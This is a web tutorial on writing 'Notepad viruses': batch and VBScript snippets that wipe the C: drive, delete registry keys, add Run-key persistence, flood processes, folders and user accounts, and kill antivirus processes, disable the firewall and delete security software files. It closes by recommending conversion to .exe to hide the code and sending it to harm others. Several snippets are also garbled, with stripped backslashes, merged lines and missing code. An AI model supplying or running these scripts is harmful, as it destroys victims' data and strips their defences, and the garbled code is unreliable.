Have you ever thought of creating a computer virus by yourself? No need to worry, here is a complete tutorial to let you know how to create a simple but dangerous Notepad Virus step by step with an explanation!
As you all know that Virus is nothing but a malicious program that enters into a system without permission and affects the data and the working of the operating system. Viruses do unwanted tasks like replicating themselves corrupting user files etc. So, basically, we are going to create some unwanted scripts, that we can execute in order to destroy or break the system.
 |
Create a notepad virus
First of all, what is Batch Scripting? Those who don’t know, take a look below:
It is simply a text file, containing a series of commands, which are executed automatically, line by line when the batch file runs.By using Batch File, you can create an extremely dangerous virus that can delete Windows files, and formats from different drives [C:\, E:\], Steal Data Files, and Information, Disable Antivirus, firewalls, etc.
Write a Dangerous Virus in Notepad/Text Editor?
Are you ready to create your first Notepad virus, let’s get started to start:First of all, you need a Windows PC, obviously. For this tutorial to create a simple Notepad virus you don’t need to be a die-hard programmer or something like that, but a basic knowledge of flow charts and loops helps you a lot to understand what’s going on here. So let’s start to create a Trojan virus using Notepad to run via command prompt (cmd) in Windows 10, 8/8.1, 7, or XP.
Now, Open the Notepad application and Copy
(Ctrl+C) and Paste (Ctrl+V) the codes given below one by
one for the different viruses in a different file.
I am not responsible for any damage or error reporting on Your PC, do it at your own risk.
1. Disable Internet Permanently
This code will disable the internet connectivity permanently.
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE
2. Delete Key Registry Files
This will delete key registry files, and then loop a message. This is a dangerous and unrecoverable Notepad Virus.
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed. Your Dad.
GOTO MESSAGE
3. Endless Notepads
This will pop up endless notepads until the computer freezes and crashes
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
4. Popping CD Drives
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop
5. Endless Enter
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
6. Application Bomber
It will start to open different applications repeatedly which will affect the system’s performance. You can also add the application of your choice in the above code:
:x
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
7. Folder Flooder
This will create an unlimited no. of folders:
:x
md %random%
/folder.
goto x
8. User Account Flooder
This will create a large no. of user account on one’s PC and go on:
:xnet
user %random% /add
9. Process Creator
This will create the unlimited background processes:
10. Windows Hacker
This will delete your whole C:\ drive and it is really unrecoverable.
Del C:\ *.* |y
11. AntiVirus Disabler
This large code will disable any antivirus installed on the system.
rem
rem Permanently Kill Anti-Virus
net stop “Security Center”
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFEWEB
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmincls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:\Program Files\alwils~1\avast4\*.*
del /Q /F C:\Program Files\Lavasoft\Ad-awa~1\*.exe
del /Q /F C:\Program Files\kasper~1\*.exe
cls
del /Q /F C:\Program Files\trojan~1\*.exe
del /Q /F C:\Program Files\f-prot95\*.dll
del /Q /F C:\Program Files\tbav\*.datcls
del /Q /F C:\Program Files\avpersonal\*.vdf
del /Q /F C:\Program Files\Norton~1\*.cnt
del /Q /F C:\Program Files\Mcafee\*.*
cls
del /Q /F C:\Program Files\Norton~1\Norton~1\Norton~3\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\speedd~1\*.*
del /Q /F C:\Program Files\Norton~1\Norton~1\*.*
del /Q /F C:\Program Files\Norton~1\*.*
cls
del /Q /F C:\Program Files\avgamsr\*.exe
del /Q /F C:\Program Files\avgamsvr\*.exe
del /Q /F C:\Program Files\avgemc\*.exe
cls
del /Q /F C:\Program Files\avgcc\*.exe
del /Q /F C:\Program Files\avgupsvc\*.exe
del /Q /F C:\Program Files\grisoft
del /Q /F C:\Program Files\nood32krn\*.exe
del /Q /F C:\Program Files\nood32\*.exe
cls
del /Q /F C:\Program Files\nod32
del /Q /F C:\Program Files\nood32
del /Q /F C:\Program Files\kav\*.exe
del /Q /F C:\Program Files\kavmm\*.exe
del /Q /F C:\Program Files\kaspersky\*.*
cls
del /Q /F C:\Program Files\ewidoctrl\*.exe
del /Q /F C:\Program Files\guard\*.exe
del /Q /F C:\Program Files\ewido\*.exe
cls
del /Q /F C:\Program Files\pavprsrv\*.exe
del /Q /F C:\Program Files\pavprot\*.exe
del /Q /F C:\Program Files\avengine\*.exe
cls
del /Q /F C:\Program Files\apvxdwin\*.exe
del /Q /F C:\Program Files\webproxy\*.exe
del /Q /F C:\Program Files\panda
software\*.*
Copy and paste any one of these viruses at a time in the Notepad, and save the file with an extension “.bat” (without quotes as shown in the image).
Batch to Executable Converter
 |
There’s a drawback of a batch file notepad virus, that anyone can open it with notepad and read the commands easily, and delete it if found harmful. So, to overcome this limitation/drawback, you can use a tool named ‘Batch to Executable Converter’. It will convert the ‘.bat’ extension into the ‘.exe’ extension.
1. Download the Bat to Exe converter from here and open the downloaded file.
Now you can send this executable file to harm anyone's computer.
